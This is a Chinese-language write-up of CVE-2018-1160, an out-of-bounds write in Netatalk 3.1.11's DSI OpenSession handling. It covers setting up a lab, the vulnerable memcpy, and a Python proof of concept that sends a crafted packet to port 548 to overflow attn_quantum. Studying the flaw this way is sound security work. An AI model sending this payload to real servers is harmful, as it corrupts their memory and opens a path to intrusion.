Netatalk CVE-2018–1160 越界写漏洞分析
字数 1117 2025-08-29 08:31:35
Netatalk CVE-2018-1160 越界写漏洞分析与利用
漏洞概述
CVE-2018-1160是Netatalk 3.1.11版本中存在的一个越界写漏洞。该漏洞存在于DSI (Data Stream Interface)协议处理过程中,当处理DSIOPT_ATTNQUANT选项时,由于缺乏对数据长度的有效验证,导致可以越界写入内存。
环境搭建
依赖安装
sudo apt install libcrack2-dev
sudo apt install libgssapi-krb5-2
sudo apt install libgssapi3-heimdal
sudo apt install libgssapi-perl
sudo apt-get install libkrb5-dev
sudo apt-get install libtdb-dev
sudo apt-get install libevent-dev
源码编译
-
下载带有漏洞的Netatalk 3.1.11版本:
https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/ -
编译安装:
./configure --with-init-style=debian-systemd --without-libevent --without-tdb --with-cracklib --enable-krbV-uam --with-pam-confdir=/etc/pam.d --with-dbus-daemon=/usr/bin/dbus-daemon --with-dbus-sysconf-dir=/etc/dbus-1/system.d --with-tracker-pkgconfig-version=1.0
make
sudo make install
服务配置
编辑配置文件/usr/local/etc/afp.conf:
[Global]
mimic model = Xserve
log level = default:warn
log file = /var/log/afpd.log
hosts allow = 192.168.245.0/24
hostname = ubuntu
uam list = uams_dhx.so uams_dhx2.so
[Homes]
basedir regex = /tmp
[NAS-FILES]
path = /tmp
服务启动
sudo systemctl enable avahi-daemon
sudo systemctl enable netatalk
sudo systemctl start avahi-daemon
sudo systemctl start netatalk
调试准备
关闭ASLR以便调试:
echo 0 > /proc/sys/kernel/randomize_va_space
漏洞分析
关键数据结构
DSI头部结构定义:
#define DSI_BLOCKSIZ 16
struct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};
漏洞触发流程
-
dsi_stream_receive函数处理客户端请求:- 读取16字节的头部信息
- 从头部提取
dsi_len字段,表示后续数据长度 - 将
dsi_len与server_quantum(默认0x100000)比较取较小值作为cmdlen - 将后续数据读入
dsi->commands缓冲区
-
漏洞点位于
dsi_opensession函数中处理DSIOPT_ATTNQUANT选项的代码:case DSIOPT_ATTNQUANT: memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); break;dsi->commands[i]直接从客户端数据中获取,未经验证dsi->attn_quantum是4字节整数,但可以写入最多255字节(0xFF)- 导致越界写入,覆盖后续数据结构
内存布局
dsi->commands缓冲区默认大小0x101000:
0x7ffff7ed4000 0x7ffff7fd5000 rw-p 101000 0
漏洞利用
POC构造
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import struct
ip = "192.168.245.168"
port = 548
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
# 设置commands, 溢出dsi->attn_quantum
commands = "\x01" # DSIOPT_ATTNQUANT选项的值
commands += "\x80" # 数据长度
commands += "\xaa" * 0x80 # 数据
header = "\x00" # "request" flag, dsi_flags
header += "\x04" # open session command, dsi_command
header += "\x00\x01" # request id, dsi_requestID
header += "\x00\x00\x00\x00" # dsi_data
header += struct.pack(">I", len(commands)) # dsi_len
header += "\x00\x00\x00\x00" # reserved
header += commands
sock.sendall(header)
print sock.recv(1024)
POC分析
-
设置DSI头部:
dsi_command设为0x04(open session)dsi_len设为commands长度
-
构造恶意commands:
- 第一个字节0x01表示
DSIOPT_ATTNQUANT选项 - 第二个字节0x80表示数据长度
- 后续填充0x80个0xaa作为数据
- 第一个字节0x01表示
-
触发漏洞时:
- 从
dsi->commands读取长度0x80 - 复制0x80字节数据到
dsi->attn_quantum(4字节) - 覆盖后续内存区域
- 从
漏洞修复
修复的关键点在于对dsi->commands[i]长度的验证,确保不超过目标缓冲区大小。
总结
该漏洞的根本原因是:
- 从不可信输入(
dsi->commands[i])获取长度值 - 未验证长度是否超过目标缓冲区(
dsi->attn_quantum)大小 - 导致越界写入,可能覆盖关键数据结构指针
参考
- https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172